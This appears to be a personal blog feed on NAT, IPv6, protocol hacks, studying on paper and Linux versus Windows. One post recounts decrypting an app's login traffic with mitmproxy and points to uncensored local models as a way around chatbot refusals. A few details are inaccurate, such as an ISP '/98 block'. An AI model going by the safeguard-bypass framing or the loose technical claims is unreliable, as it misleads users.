An interesting application of namespaces is NAT. Recently, I created a Linux network namespace to use a VPN for a specific application while keeping other apps unaffected. This was easily achieved with NAT: I connected the two network namespaces, set a default route inside the namespace, and let NAT handle the rest. Essentially, connections from within the namespace go through two layers of NAT, but routing remains transparent to both the client within the namespace and the server on the internet. No changes are required on either end.
With IPv6, this setup would be less trivial. Internet service providers usually provide a large /98 block, offering many addresses. However, without NAT, managing network namespaces becomes complex. The router would need to assign multiple IP addresses to my computer, but the exact number needed is uncertain. As more layers of network namespaces are added, you would run out of IP addresses long before exhausting other resources. An alternative would be a protocol to request additional IP addresses from upstream, but such a protocol, if it exists, would be less efficient than NAT. It would require proper configuration of all devices involved. In contrast, NAT is transparent to all actors in the chain, and the router doesn’t need to manage the virtual networks inside my computer, even if there are millions of IP addresses.
This is the power of namespaces. They allow each entity to have its own reality while seamlessly communicating with others.
I wrote this blog post, and then asked chatgpt to edit it for me. ↩
That was what I used to think until I restarted using paper a few weeks ago by accident. I had forgotten to bring my iPad to the library one day, so I just stole some paper from the printer and borrowed a pen from a friend to work on some math problems.
At the end of the day, I discovered that for some reason my mental process was much clearer, and I solved more difficult problems than I used to. So I began to print out the lecture notes I use, and problem sheets. This method worked perfectly well so far.
I wondered why this was the case and came up with three reasons: less mental overhead, using paper is like using multiple screens and eliminating the false sense of progress.
Our mental capacity, despite what we wish and might sometimes feel, is limited, so we would want to minimize the mental overhead to maximize efficiency. Mental overheads are basically things that don’t really contribute to the task at hand, but are necessary to be mentally aware of, such as keeping computers charged, making sure WiFi is connected, etc.
Mental overhead is large when using a computer. You can imagine how many things need to work correctly to keep a computer working smoothly, like the apps you are in, the apps you have open, how many tabs are opened and if they are taking up too much RAM, slowing down the computer. Also, when writing on an iPad, I need to make sure that my hand doesn’t accidentally activate the touchscreen when I am writing by placing my palm directly and clearly on the screen to activate palm rejection. Keeping track of them means that I need to make sure that I don’t accidentally break these things. Also, I find that subconsciously, when things inevitably go wrong, I would have to spend quite some time fixing those problems. I also tend to get distracted by other things on the computer when I am fixing it.
But when using paper, I’d have to keep track of a lot less things. There is no way a paper can fail except with predictable and understandable physical damage.
I also suspect that multiple stacks of paper are easier to track mentally than multiple opened browser windows because we have dedicated brain circuits to track physical objects but we have to use the much slower, costly and error-prone conscious process to keep track of files open on a computer.
If you are a tech nerd, you know how pleasant it is to have multiple monitors. You can keep your reference on one screen while working on another screen without having to juggle multiple windows.
You can achieve the same functionality with paper as with an extra monitor if you are primarily working with text, like me, who studies maths. Moreover, you can have three, four or however many pieces of paper spread out in front of you, instead of being limited to just a few due to cost concerns.
When I use computers, sometimes I like to click around and do random things when I get stuck on a task. For example, one of my favourite things to do on a computer is to upgrade software. I would feel like I have achieved something even though in reality I haven’t. Other illusions include arranging my windows, changing keyboard and mouse settings, tinkering with network settings to make the internet faster, and just clicking around aimlessly. These things keep me busy and fool me into thinking I am being productive even when I am not.
But, if I am using paper, there is nothing to do other than work with the content on the paper. I can keep good track of my progress and not be fooled by this illusion.
Paper is good for certain things, but certainly not for all things. I still prefer to type on a computer than write essays on paper because typing is just so much faster. There are still, obviously, many things that cannot be done on paper, such as coding.
But, for what it is good at, being a medium for text, it undoubtedly is better than any other means of conveying text, even including e-readers.
After all, technology is just a tool. As science and engineering advance, we get better and more powerful technology like better screens, faster internet connection and faster computation. But they are only better in the sense that they can solve more problems or problems that can’t be solved by old technology. That is, they are more useful tools for a wide variety of purposes. Nevertheless, a tool is still a tool, and tools should be used only when there is a need for it, and the tool most fit for a purpose should be used. So, when the purpose is specialized, and the scope is limited, such as understanding text, I think paper is a perfect tool, and better than any other newer technology we have.
]]>I was particularly interested in knowing how it handles authentication and if there’s any vulnerability that can lead to users’ email and password being stolen. I used Wireshark to analyse the traffic and found out it was encrypted with TLS.
So I needed to find a way to decrypt the message. After some Googling, I found that I could use the SSLKEYLOGFILE environment variable when using applications like Google Chrome, which basically tells the app to write the encryption key along with some other information into a file so that Wireshark can use it later to decrypt that traffic. The app then writes information like the private key into the file so that network traffic analyzers like Wireshark can decrypt the SSL traffic.
This method works with browsers, but since the printing was probably initiated by some system process, I didn’t know how to pass environment variables to them and even if I could, I was not sure if they would respect the environment variable.
Google didn’t immediately return any useful result, so I did the next best thing I could do, I asked ChatGPT. I told it I wanted to achieve something similar to SSHKEYLOGFILE for Chrome but for the entire system. To my utter surprise, ChatGPT refused my request saying it was unethical and illegal. I knew that ChatGPT refuses to assist with actually committing illegal activities, but what I was trying to do was far from illegal or ethical.
This led me to test if it would refuse more requests that are not illegal at all. Here are some examples of refused request
Intriguingly, as I was writing this, I tried to ask it about reverse shell again, two weeks after it initially denied my request and it actually answered me with helpful basic information, including commands to launch it (though I didn’t test if it works).
Since LLMs are generated on a vast number of sources on the internet, which, mind you, has everything. There are obviously many things that are off-limit/illegal/unethical. So it’s important to moderate it, or as OpenAI calls it “safety and alignment”. Safety and alignment basically consist of rejecting certain requests and making sure its output doesn’t contain certain information, like how to cook meth.
But taken to the extreme, it stops the spread of useful information and knowledge. For example, telling people about cybersecurity might be useful for hackers but also useful for those who are interested in knowing how computer systems work and how they can defend themselves from attacks. Crucially, cybersecurity is freely discussed on the internet and search engines like Google return useful results and learning about them is not illegal or unethical in any sense.
Refusing to answer cybersecurity-related questions doesn’t help with preventing them from happening. This is because actual hackers have much better tools. They can also use a plethora of open-source models (or even train one themselves) that don’t have such restrictions. e.g. dolphin-mixtral. Unsurprising, it tells you how to cook meth. Setting it up wasn’t even difficult, and required nothing except for a decently powerful GPU like Nvidia RTX 3080. Actual well-sponsored hacker groups undoubtedly would have much better tools and resources, so ChatGPT refusing these requests would accomplish nothing much other than stopping curious individuals learning about cybersecurity.
After some intensive Googling and document reading, I found out the transparency mode in mitmproxy was exactly what it needed. I set it up and successfully, captured, and decrypted the traffic. It turns out there is nothing special with the authentication protocol; it just sends the username and password as plaintext in the HTML header. Luckily, the traffic is encrypted with TLS. Still, I think there are better ways like using OAuth in case the traffic gets intercepted when decrypted somewhere else or when the private TLS key is leaked, but that’s probably for next time.
]]>Applying first principles without considering their broader consequences can be a perilous mindset, exemplified by the notion “you only live once.” While it urges us to seek meaningful and joyful experiences, its straightforward application could lead to a myopic pursuit of pleasure without productivity. However, it’s important to realise that it’s better to be productive to maximise happiness in the long term rather than in the short term, so it becomes the intermediate trick we use and we temporarily forget about the ultimate goal to focus all our attention on practical methods.
This perspective underscores the complexity hidden beneath the surface of first principles. Institutions often have primary goals akin to first principles, guiding their actions and influencing intermediate objectives. Despite a cynical interpretation of a government’s primary goal as resource extraction from citizens and land, intermediate goals like building infrastructure contribute positively to public welfare. Similarly, while private companies’ primary goal may be profit maximization, their intermediate goals of delivering quality products and services benefit consumers.
In essence, understanding and navigating first principles involves appreciating the intricate layers of consequences and adopting pragmatic strategies that align with both short-term and long-term objectives.
]]>That is the difference between mathematics and physics. Mathematicians, or people who have very mathematical minds, are often led astray when “studying” physics because they lose sight of the physics. They say: “Look, these differential equations—the Maxwell equations—are all there is to electrodynamics; it is admitted by the physicists that there is nothing which is not contained in the equations. The equations are complicated, but after all they are only mathematical equations and if I understand them mathematically inside out, I will understand the physics inside out.” Only it doesn’t work that way. Mathematicians who study physics with that point of view—and there have been many of them—usually make little contribution to physics and, in fact, little to mathematics. They fail because the actual physical situations in the real world are so complicated that it is necessary to have a much broader understanding of the equations. — Richard Feynman, The Feynman Lectures on Physics
First principles are basic truths about a complex system from which all other truths can be logically derived. In mathematics, these principles manifest as axioms—self-evident truths. In the realm of physics, they take the form of fundamental laws, such as Newton’s Laws of Motion and Maxwell’s equations for electrodynamics.
We generalise the concept of first principles to other fields of knowledge beyond science. When analyzing and predicting the behavior of individuals or organizations, we can identify their ultimate objectives as the first principle, with intermediate goals representing logical implications. For instance, one might posit that the foundational assumption in economics is that individuals act rationally to maximize their utility or happiness.
There are also more cynical first principles that we might observe. For example, we might see that the first principle of a government is to extract resources from citizens and territory for the benefit of those in power, as opposed to prioritizing the welfare and utility of the public. Similarly, one might argue that the core principle guiding private companies is to maximize profit for shareholders rather than focusing on providing customers with desired products.
The first principles are really important to understand. Newton’s discovery of the fundamental laws of motion, for example, paved the way for precise calculations of celestial body motion and the strategic placement of satellites in orbits tailored to our needs, such as synchronizing with the Earth’s rotation every 24 hours.
Similarly, comprehending the first principle of rational agents is key to unraveling the workings of economic activities and making reasonably accurate predictions. Remarkably, the ability to derive precise consequences from first principles using logic alone, without direct observation, is a testament to the power of foundational understanding.
Catiously, we need not to overesimate the power of first principles. Even though the first principles are quite simple on the surface, one might be tempted to underesimate the need to fully learn their implications. After all, why waste time learning about consequences when you can work them out yourself in your head. In reality, the resulting consequences are complex and not at all obvious. In the realm of mathematics, the derivation of complex and profound theorems from basic axioms and definitions exemplifies the depth and richness that emerges from seemingly straightforward principles. Often entire fields in maths like set theory is built upon really simple, straightfoward and intuitive axioms.
The complexity of consequences is also apparent in systems like Conway’s Game of Life, where intricate behavior arises from simple rules.
Moreover, recognizing these consequences is not an innate skill for most individuals, highlighting the limitations of relying solely on first principles, even though theoreciallinfinitely intelligent beings are able to successfully derive them.
Not only are the consequences complex, but people are not usually able to realise the consequences themselves in a vacuum, even though it is possible for a theoretically infinitely intelligent being. This underscores the importance of not only understanding first principles but also acknowledging their limitations and the need for practical exploration and observation in complex real-world scenarios.
]]>Notification servers, operated by Apple and Google, are what deliver push notifications to devices. When an app wants to send a notification, it has to first send it to a notification server. Your device checks then with these servers to get new notifications. Your device periodically checks these servers for new alerts, There is no other way for an app to send notifications to Android and iOS users. This mechanism allows Apple and Google to see all your notifications from every app you use.
Recently, Apple and Google were exposed to have been surreptitiously sharing users’ notification histories with law enforcement. With the benefit of Hindsight, it is obviously bound to happen when everyone’s valuable information is conveniently gathered in one easy-to-access place. Although it appears that forcing everyone to use centralised notification servers might be driven by some hidden agenda, there are good reasons why apps cannot simply send notifications directly to users.
The rationale behind these centralized servers lies in the requirements of push notification technology: timely delivery and high availability. In an ideal world, each device would operate its server, accepting incoming messages directly from various sources. This is essentially what notification servers do — they passively gather messages. However, NAT makes this impossible. A device has to send a request out in order to receive responses back. A device must initiate an outbound request to receive responses, leading to increased CPU and battery usage. CPU and battery usage also scales linearly with the number of sources. With tens or hundreds of different apps on your phone all wanting to send you notifications, periodically sending packages to all these different servers is impractical.
Enter IPv6, where receiving messages from various sources is straightforward. Devices can actively listen for incoming connections without the need for constant outbound communication to each source, drastically reducing CPU usage. Most importantly, CPU usage stays constant, independent of the number of sources for notification. This negates the need for centralised notification servers, essentially turning your phone into a notification server.
The deeper issue with IPv4 lies in its structural limitation: for two devices to communicate over the internet, at least one must have a global address, not hidden behind NAT. Since most consumer devices use NAT, communication often relies on third-party servers like WhatsApp, Telegram, or Gmail. While end-to-end encryption offers security, the dependence on central servers brings its own set of problems, including potential outages and privacy concerns. It is also nearly impossible to distribute truly open and free messaging tools and social media. Open source initiatives like Matrix, a messaging platform, and Mastodon, a social media platform require users to run a server which is quite difficult to set up and expensive to scale.
In contrast, IPv6 facilitates a more decentralized, robust internet ecosystem. It paves the way for open-source messaging platforms, making them as straightforward to set up as downloading an app. There is no need for the complicated process of finding a computer that is up 24 x 7 with a globally reachable IP and configuring the network. This shift could herald a return to the early, decentralized days of email, where messages were sent directly to the recipient’s computer, denoted by the part of the email address after @, free from third-party control and the associated risks: there is no downtime because one intern pushes a wrong config, no terms of service to agree to that puts you at the mercy of the companies and no massive data leaks that harm everyone.
In essence, although IPv4 works so far with the series of hacks that largely resolve the problem of address depletion, IPv6 brings a lot more benefit than merely a large address space — it redefines our relationship with the internet, enhancing privacy, reliability, and freedom in digital communication.
]]>This robust and advanced state of the internet we enjoy today owes much to standardization, good algorithm designs and, just as importantly, a series of clever backwards-compatible hacks. These innovations have introduced new features while maintaining connectivity through older hardware and software that have yet to be updated.
In this blog, I aim to explore some of these ingenious hacks that keep the internet functioning smoothly and the lessons they offer. By delving into these technological marvels, we can appreciate the intricacies and brilliance behind our daily digital interactions.
In my previous blog post, I touched on the significance of Network Address Translation (NAT) and its operational basics. Without delving into the details already covered, let’s remember the key function of NAT: it enables a multitude of devices, far exceeding the 2^32 limit, to connect to the internet using 32-bit addressing. NAT achieves this by intelligently using additional packet information at the receiving end to correctly route the data.
HTTP, which stands for HyperText Transfer Protocol, is the backbone of internet connectivity, initially designed for transmitting only text, like the content on this blog page. If we only consider its original intent, it might seem logical to restrict HTTP to text transmission and delegate other tasks to specialized protocols like SSH for computing, FTP for file transfer, and some hypothetical Video Transmission Protocol to transmit videos.
However, in reality, HTTP’s application has expanded far beyond its initial design. It is now used for a wide array of tasks: sending files, streaming live videos, and executing commands through RESTful APIs. This versatile usage underscores a recurring theme in technological evolution — using technologies in ways they were not originally intended to be used.
A major reason for HTTP’s predominance is its widespread support. Many networks, like the free WiFi at Edinburgh Airport, restrict protocols like SSH or FTP, but not HTTP, as blocking it would render most websites inaccessible. This prevalence makes HTTP a more reliable choice for various internet activities.
Another example of HTTP’s reliability over other protocols comes from my experience using traceroute, a tool that maps the journey of a message across the internet. While its default ICMP protocol often encounters timeouts, indicating blockages, switching to TCP on port 80, which HTTP uses, yielded successful and informative results. This experience highlights HTTP’s robustness and wide acceptance in diverse network environments.
Imagine needing to send an image through a channel that only supports text. This problem can be resolved using Base64 Encoding. This method transforms any arbitrary data into a string of Latin letters, numbers, and select symbols.
One application of Base64 encoding is in email digital signatures with GPG. Digital signatures, essentially random data, can be cumbersome to transfer via email. Encoding it with Base64 is a very good hack because it bypasses most email filters, and won’t accidentally break email servers or clients that are poorly programmed, not to mention the convenience of copy and paste.
In essence, Base64 encoding is a clever workaround, enabling the transfer of any data type through text-only channels. This method overcomes the limitations of channel compatibility, offering a practical alternative to overhauling communication systems or facing data transfer restrictions. While this approach may introduce some data inefficiency, its benefits in versatility and accessibility are significant.
Long story short, TLS 1.3 is the latest iteration of the Transport Layer Security protocol, designed to safeguard internet activities from malicious interception, such as password theft or webpage tampering. However, implementing TLS 1.3 faced unexpected challenges.
The protocol specification includes a field indicating its version. While updating this field to reflect TLS 1.3 seemed straightforward, trials by Chrome and Firefox revealed that it disrupted numerous network connections. The root cause was the incompatibility of some network devices designed to passively listen to and potentially filter traffic, which crash if they even see a number other than 1.2 or smaller in the version field. This is very stupid programming mistake if you ask me, but given TLS 1.2’s prolonged dominance the mistake is understandable due to the absence of use cases for versions beyond 1.2.
To resolve this, the Internet Engineering Task Force (IETF) essentially resorted to using a hack. Instead of altering the version number, they moved the version negotiation to an extension. This effectively makes old programs think the connection still uses 1.2 while new programs can look elsewhere to find the true actual version, maintaining backwards compatibility.
WebSocket, at its core, is functionally similar to TCP, offering full-duplex communication between a client and server. However, WebSocket extends some additional capabilities over standard TCP connections.
One significant advantage of WebSocket is its operation over the same TCP port used by HTTP. This alignment with HTTP’s port is highly beneficial, as previously discussed. Leveraging the HTTP port ensures broad support and acceptance, reducing the likelihood of encountering blocks or connectivity issues.
In contrast, utilizing alternative TCP ports often leads to compatibility challenges. Many firewalls and internet service providers, like those managing public WiFi networks (for example, at Edinburgh airport), restrict or block these non-standard ports. This limitation makes WebSocket’s compatibility with HTTP’s port an essential feature for reliable and accessible web communications.
Conceptually, a protocol essentially describes metadata attached to a message, instructing intermediary systems on the nature of a message and how to handle it without them needing to understand the content of the message. In this view, the backward-compatible changes add new metadata instead of changing the original metadata for new and improved functionality.
In the context of Network Address Translation (NAT), the strategy is not to modify the IP address format but to use additional internet traffic data to determine the appropriate traffic routing when the IP address alone is insufficient.
Similarly, in the ubiquitous use of HTTP, the modification isn’t in the format of the metadata (HTTP headers), but in altering the content of the data block or the message body.
For Base64 encoding, instead of using binary data that might cause issues in systems with inadequate data processing capabilities, the data is formatted to resemble text, ensuring compatibility with text-processing systems.
In the case of TLS 1.3, rather than changing the version number, which could confuse older systems, a new field is added to signal the version to newer systems without causing conflicts.
With WebSocket, the innovation lies in not altering the TCP port number but in changing the data transmitted over the TCP connection to mimic different functionalities.
A secondary commonality in these backwards-compatible solutions is their ability to enhance the capabilities of communication channels originally designed for limited functions. NAT expands the number of devices connectable to the internet, Base64 encoding enables different data types to be sent through text-only channels, and WebSocket provides enhanced functionalities without needing port changes.
All of these hacks are clever, but they sometimes come at the cost of efficiency of bandwidth or latency. So there are times when making backwards incompatible change is totally necessary. HTTP/2 is a successful example. It can be faster than its predecessor because it speeds up and optimises the handshake process. This is not possible with a backwards-compatible change because the handshake process can never be replaced in that case. It was quickly adopted and had 68% share of all HTTP traffic in May 2022, which is quite impressive as it was only introduced in 2015.
IPv6 is another example of such backward incompatible change. Although it has found mixed success. I am not very certain about my opinion about it because at least for now, the hacks work and using IPv4 work and switching to IPv6 does not provide much more benefit. However, I have learned something new this week that slightly changed my opinion on this. I might write about this in the next blog post (or not).
These hacks, while clever, often come with trade-offs in terms of bandwidth efficiency or latency. There are instances where backwards-incompatible changes are beneficial and needed. A prime example is HTTP/2. Introduced in 2015, it marked a significant improvement over its predecessor by optimizing the connection handshake process, leading to faster speeds. Such enhancements couldn’t have been achieved through backwards-compatible modifications, as they inherently require redefining the handshake process. By May 2022, HTTP/2 had captured an impressive 68% of all HTTP traffic, reflecting its rapid adoption and efficiency.
IPv6 presents a different scenario as a backwards-incompatible change. Its success has been mixed, and opinions on its necessity are divided. Currently, the existing ‘hacks’ with IPv4 are functioning adequately, and the transition to IPv6 doesn’t seem to offer substantial benefits in many cases. However, a recent discovery has slightly shifted my perspective on IPv6, which I might explore in my next blog post. The evolution of these technologies underscores the balance between innovation and compatibility in the ever-evolving landscape of internet protocols.
]]>IP addresses are like physical addresses: they tell the network routers between two devices where to send data. Theoretically, each device should have its own IP address so it can be unambiguously addressed. Because of the limited number of IPv4 addresses, it’s physically impossible to give every device its own IP address. Thankfully, most of the internet works on TCP or UDP which uses port numbers to address intended to address different programs running on the same computer. For example, an SSH server might listen on port 22 while an HTTP server might listen on port 80. There’s no reason why a program uses a certain port other than the conventions.
Network Translation Layer (NAT) is a hack that uses port numbers to address different devices rather than different programs on the same device. Many devices connect to the same NAT router and the router forwards requests from different ports to different devices. For example, port 22 can be an SSH server on computer A behind NAT, and 80 is an HTTP server on computer B behind NAT, but to an outsider, it seems like the two servers run on the same computer. It essentially allows multiple devices to share the same IP address. Your home router does NAT automatically. You can manually tell the router which port should be associated to which port on which computer but it’s done automatically to make it not so complicated for normal people to use the Internet.
One problem with NAT is that if you want to make a service persistently available, such as a website, you must control whatever router that controls NAT in order to tell it to always associate an outside port to the web server that you run (called port forwarding). This is not always possible. Sometimes your home router is the NAT router so you can easily do port forwarding but sometimes IPv4 addresses is so scarce that your internet service provider controls the NAT router and your home router shares the same IP address with several other homes such as my home in China.
Recently I’ve been not very happy with the WiFi quality and switching speed of the router provided by my internet service so I brought a router myself to fix this problem. Connecting it to the network is trivial. I just had to run a cable from the ISP router to my router and set my router to treat the connection to the router as the internet connection. The router automatically acts as a NAT router among other things. To my ISP-provided router, it just appears as one device even though there are multiple devices connected to my WiFi.
Getting IPv6 to work was a lot more complicated because I couldn’t figure out how to get the ISP router to allocate a block of IPv6 addresses from its pool to my router. I asked my roommate how he got his router to work (he has his own router) with IPv6 he told me that he just uses NAT for IPv6 (NAT66). Unfortunately, I didn’t figure out how to enable NAT66 on my router so I just gave up eventually. This made me realize one major advantage of NAT that I hadn’t thought about previously.
It allows you to connect a lot of devices to the same network even if whatever internet connection you get only allows you to connect one device. For example, you can make a cellular connection your main internet connection through NAT because the network carrier thinks all the devices in your home are only one device. Or if you buy internet on a plane that only allows for one device to connect at a time so they can sell you more connections, you can get all your devices online by using a router. In both cases, the internet service provider has no way of knowing exactly the number of devices connected to the network. Therefore they cannot implement price discrimination. If they know how many devices you have they can start charging a premium on top of the network traffic you incur just like how Apple charge disproportionately for RAM and storage.
Everything works with NAT not because NAT is functionally indistinguishable from not having NAT. Even if you don’t have websites to run, your day can also be ruined if no companies design their online products with NAT in mind. For example, push notification currently works (roughly) by having your device poll a server periodically because of NAT. You can control your smart IoT devices outside your home also because there is a central server that your mobile phone sends commands to and your smart home devices get commands from. Without NAT and with every device globally routable in IPv6, your device might decide to just have a process listening on a port to receive push notifications and commands. This means devices behind NAT will essentially have parts of their functionality broken.
The lack of need for NAT will mean programs and devices will not be designed to function with NAT and gradually spell the death of it. This means your ISP will be able to know and control the number of devices connected to its network. This will most likely lead to them implementing price discrimination. For example, they can charge you more if you have more IoT devices because that implies you have a bigger house and thus can afford a higher price, even though the devices don’t take up any bandwidth. Your cellular company can stop you from using mobile hotspot or ask you to pay more for the functionality.
Sure, there are ways to work around this problem such as using a VPN but all of these leave detectable traces so it will be detected and guarded against. It will be like using an ad blocker or the Tor network nowadays. It is perfectly possible but companies will try to detect it and ban it. Media can also create a narrative that the people who use these technologies are hackers or pirates.
Thankfully, this is not the reality now. Anyone who has an internet connection can use it in whatever ways they want, including connecting an arbitrary number of devices, using their own router instead of the ISP-provided one, while giving the ISP limited information about individual devices. I hope it will stay the same even without NAT for IPv6.
]]>I am sorry. I really love Linux and open-source software, but realistically it never worked very well for me. I think this is partially due to the small user base that Linux has and partially due to design choices like the lack of backward compatibility, and the lack of “bloatware”.
I had experimented with using Linux on Desktop for a while. I tried various distros like Ubuntu, Fedora, and Manjaro. I even built an Arch with i3, Rofi, and Polybar (I use Arch btw). Most of the time, installing and getting apps to work takes a long time, especially if I am learning about it for the first time.
Many open-source projects value new features and optimization and the “right” way to write code more than maintaining backward compatibility, which often means maintaining a bad design. As I programmer, I too hate having hacky workaround and messy code lying in the code base. However, as a user, I don’t care. I just want my app to work even if the program runs a little slower or takes a bit more RAM and storage space.
One example of broken backward compatibility is glibc dropping support for DT_HASH in favor of the better-implemented DT_GNU_HASH because the developers of glibc (rightly) think that everyone should be using DT_GNU_HASH. But this broke software like Easy Anti-Cheat which relied on DT_HASH. Granted, fixing many of the breaking changes is extremely trivial, such as renaming a variable, pointing a path somewhere else, or even just recompiling the code to use the new ABI. However, as a developer, it is only trivial if you know what the root cause is, such as the line of code is causing the problem. Finding the problem takes time because usually, the place where the software fails is not where the problem occurs. One needs to spend a lot of time narrowing down the issue. Adding insult to injury, the debugging process is made difficult because all the search results are outdated. Fixing issues is even more difficult as a user of a program because I don’t have access to the source code or the experience to know exactly how to look for the bug.
There are workarounds to these breaking changes. One such project that tires to make programs break less often is Flatpak. Flatpak uses container technology essentially to allow apps to version lock their dependencies and manage multiple versions of the same runtime library on a system.
Contrary to Linux, Microsoft really prioritizes backward compatibility. One example of this is the Excel “bug” that thinks that 1900 was a leap year. This bug was introduced in Lotus 1-2-3 and Microsoft copied the behavior to ensure compatibility with Lotus 1-2-3. This “bug” was never fixed and is even included in the formal specification of Excel to ensure that spreadsheets that used to work continue to work even though the behavior is not correct. There are more examples of Microsoft trying to maintain backward compatibility at the cost of correctness and ease of use for new developers. win32 ABI is still maintained to this day with its numerous flaws and idiosyncrasies. Developer Arek Hiler even wrote a blog post titled “Win32 Is The Only Stable ABI on Linux”. UTF-8 character encoding is still not the default and is marked as beta because some programs still use non-UTF-8 encoding for non-English characters such as a Chinese stock trading app called Zhao Shang Zheng Quan. A new version of Powershell uses a different folder for the profile path to avoid conflict and maintain backward compatibility with the old version.
Microsoft’s obsession with backward compatibility even extends to UI elements. I used to laugh at Windows for still having two settings pages – one called Settings introduced in Windows 10 and the other called Control Panel introduced in Windows 7. The two pages share a lot of the same functions but have different UI layouts. So the inconsistency makes the OS look very ugly. I used to wish for a complete overhaul and unification, but now I understand and appreciate the reasons for choosing to include both programs. I can still change my settings in the same way as I did 10 years ago. Every guide, even ones designed for Windows 7, still works. Even though I haven’t tried, I suspect hacky scripts written that interact with the computer based on graphical UI elements and mouse clicks would more or less still work with minimum changes.
Backward compatibility is similar to how the lack of “bloatware” contributes to a complicated user experience on many Linux distributions. Many packages on Linux ship with the bare minimum to give the user fine control of the features they want to include to reduce “bloat”. For example, when I install xorg-server, which is a program that basically coordinates GUI applications and their windows to be displayed on the screen, on Arch, it doesn’t come with xinit, which is a used to start xorg-server. The reason behind this is that xorg-server and xinit and independent programs. There are many other ways to start xorg-server that do not use xinit. I appreciate this modular approach, but I think most people would want xinit with xorg-server. It took me quite a while, especially as I was installing xorg for the first time, to realise xinit was missing. I was trying to figure out if I installed xorg-server wrong or if my PATH variable was messed up. When something doesn’t work, it always takes time to narrow down the cause and fix it even if it is just one simple install. I would have rather spent the extra bandwidth and disk space to install packages I didn’t need than having to waste a lot of time hunting down the exact missing package. Also, many distributions don’t even come with fonts for other languages like Chinese. It takes a while to find out what the exact Chinese font package is called and how to install it, especially for the first time. The lack of bloat makes the system use minimal RAM and storage. When there is nothing running, my Windows installation on my desktop takes a whopping 10GB whereas my Linux installation only uses a modest 2GB. But I think this is a price worth paying to have a simplified user experience.
]]>